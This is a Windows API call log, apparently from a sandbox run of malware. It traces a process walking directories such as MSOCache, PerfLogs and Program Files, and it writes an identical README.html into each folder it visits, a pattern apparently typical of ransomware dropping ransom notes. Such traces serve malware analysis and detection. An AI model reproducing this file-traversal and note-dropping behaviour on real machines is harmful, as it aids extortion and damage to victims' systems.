	[0050.364] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.365] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.365] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1
	[0050.365] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0050.365] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1
	[0050.366] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1
	[0050.366] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1
	[0050.366] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1
	[0050.366] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1
	[0050.366] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1
	[0050.366] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0050.366] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1
	[0050.366] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1
	[0050.366] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1
	[0050.366] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.366] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.367] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), fInfoLevelId=0x0, lpFileInformation=0x1274f868 | out: lpFileInformation=0x1274f868*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c)) returned 1
	[0050.368] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), fInfoLevelId=0x0, lpFileInformation=0x1274f8b8 | out: lpFileInformation=0x1274f8b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600)) returned 1
	[0050.368] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274f908 | out: lpFileInformation=0x1274f908*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2)) returned 1
	[0050.368] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274f958 | out: lpFileInformation=0x1274f958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510)) returned 1
	[0050.369] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274f9a8 | out: lpFileInformation=0x1274f9a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061)) returned 1
	[0050.369] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), fInfoLevelId=0x0, lpFileInformation=0x1274f9f8 | out: lpFileInformation=0x1274f9f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7)) returned 1
	[0050.370] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), fInfoLevelId=0x0, lpFileInformation=0x1274fa48 | out: lpFileInformation=0x1274fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800)) returned 1
	[0050.370] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274fa98 | out: lpFileInformation=0x1274fa98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213)) returned 1
	[0050.370] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), fInfoLevelId=0x0, lpFileInformation=0x1274fae8 | out: lpFileInformation=0x1274fae8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968)) returned 1
	[0050.370] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274fb38 | out: lpFileInformation=0x1274fb38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768)) returned 1
	[0050.371] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), fInfoLevelId=0x0, lpFileInformation=0x1274fb88 | out: lpFileInformation=0x1274fb88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a)) returned 1
	[0050.371] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), fInfoLevelId=0x0, lpFileInformation=0x1274fbd8 | out: lpFileInformation=0x1274fbd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578)) returned 1
	[0050.372] GetFileAttributesExW (in: lpFileName="C:\\PerfLogs" (normalized: "c:\\perflogs"), fInfoLevelId=0x0, lpFileInformation=0x1274fc28 | out: lpFileInformation=0x1274fc28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.372] CreateFileW (lpFileName="C:\\PerfLogs" (normalized: "c:\\perflogs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.372] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*", lpFindFileData=0x123eda44 | out: lpFindFileData=0x123eda44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.372] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.372] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1
	[0050.372] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.372] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.372] CreateFileW (lpFileName="C:\\PerfLogs\\README.html" (normalized: "c:\\perflogs\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0050.373] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x123ece5c | out: lpMode=0x123ece5c) returned 0
	[0050.373] WriteFile (in: hFile=0xc0, lpBuffer=0x12716c80*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x123ece4c, lpOverlapped=0x0 | out: lpBuffer=0x12716c80*, lpNumberOfBytesWritten=0x123ece4c*=0xc5a, lpOverlapped=0x0) returned 1
	[0050.375] CloseHandle (hObject=0xc0) returned 1
	[0050.375] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12768320*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x123ec9dc, lpReserved=0x0 | out: lpBuffer=0x12768320*, lpNumberOfCharsWritten=0x123ec9dc*=0x26) returned 1
	[0050.380] GetFileAttributesExW (in: lpFileName="C:\\PerfLogs\\Admin" (normalized: "c:\\perflogs\\admin"), fInfoLevelId=0x0, lpFileInformation=0x1274fcc8 | out: lpFileInformation=0x1274fcc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.380] CreateFileW (lpFileName="C:\\PerfLogs\\Admin" (normalized: "c:\\perflogs\\admin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.381] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.381] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.381] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.381] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.381] CreateFileW (lpFileName="C:\\PerfLogs\\Admin\\README.html" (normalized: "c:\\perflogs\\admin\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0050.381] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x123ecdf8 | out: lpMode=0x123ecdf8) returned 0
	[0050.382] WriteFile (in: hFile=0xc0, lpBuffer=0x12717900*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x123ecde8, lpOverlapped=0x0 | out: lpBuffer=0x12717900*, lpNumberOfBytesWritten=0x123ecde8*=0xc5a, lpOverlapped=0x0) returned 1
	[0050.383] CloseHandle (hObject=0xc0) returned 1
	[0050.383] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12751740*, nNumberOfCharsToWrite=0x2c, lpNumberOfCharsWritten=0x123ec978, lpReserved=0x0 | out: lpBuffer=0x12751740*, lpNumberOfCharsWritten=0x123ec978*=0x2c) returned 1
	[0050.384] GetFileAttributesExW (in: lpFileName="C:\\Program Files" (normalized: "c:\\program files"), fInfoLevelId=0x0, lpFileInformation=0x1274fd18 | out: lpFileInformation=0x1274fd18*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf2fbb600, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf2fbb600, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0050.384] CreateFileW (lpFileName="C:\\Program Files" (normalized: "c:\\program files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.384] FindFirstFileW (in: lpFileName="C:\\Program Files\\*", lpFindFileData=0x123eda44 | out: lpFindFileData=0x123eda44*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf2fbb600, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf2fbb600, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.384] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf2fbb600, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf2fbb600, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
